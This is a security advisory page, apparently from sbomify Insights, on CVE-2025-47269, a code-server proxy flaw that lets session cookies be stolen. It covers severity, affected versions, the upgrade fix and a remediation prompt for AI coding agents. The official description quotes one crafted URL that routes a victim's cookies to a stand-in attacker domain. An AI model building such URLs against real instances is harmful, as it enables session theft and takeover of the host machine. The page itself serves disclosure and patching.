# CVE-2025-47269: code-server session cookie can be extracted by having user visit specially crafted proxy URL

> Attackers can steal session cookies via SSRF in the proxy feature, allowing full access to the host machine if the proxy is enabled.

- **Severity:** High 8.3 (`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L`)
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 9 May 2025
- **Updated:** 10 May 2025
- **Also known as:** GHSA-p483-wpfp-42cj, JLSEC-2026-1274

## What is CVE-2025-47269?

CVE-2025-47269 is a high-severity server-side request forgery vulnerability in coder code-server, published on 9 May 2025. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

### Official description

code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.

Weakness: CWE-441 (Unintended Proxy or Intermediary)

## Which versions are affected by CVE-2025-47269?

2 open source packages ship an affected version, including code-server.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `code-server` | npm | All versions | 4.99.4 |
| `code-server` | npm | All versions | 4.99.4 |

## How do I fix CVE-2025-47269?

Upgrade code-server to 4.99.4 or later.

## Is CVE-2025-47269 being exploited?

There is no known exploitation of CVE-2025-47269 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for CVE-2025-47269 and fix it if it is affected.

What it is: CVE-2025-47269 is a high-severity server-side request forgery vulnerability in coder code-server, published on 9 May 2025. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of CVE-2025-47269 in the wild and no public exploit code.

Affected packages and fixed versions:
- code-server (npm): affected all versions; fixed in 4.99.4
- code-server (npm): affected all versions; fixed in 4.99.4

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/CVE-2025-47269/ (Markdown: https://insights.sbomify.com/CVE-2025-47269/index.md)
```

## Sources

- CVE record: https://www.cve.org/CVERecord?id=CVE-2025-47269
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-47269
- OSV: https://osv.dev/vulnerability/CVE-2025-47269

---
From sbomify Insights: https://insights.sbomify.com/CVE-2025-47269/
Summaries are generated and may contain mistakes; the official description above is the record.
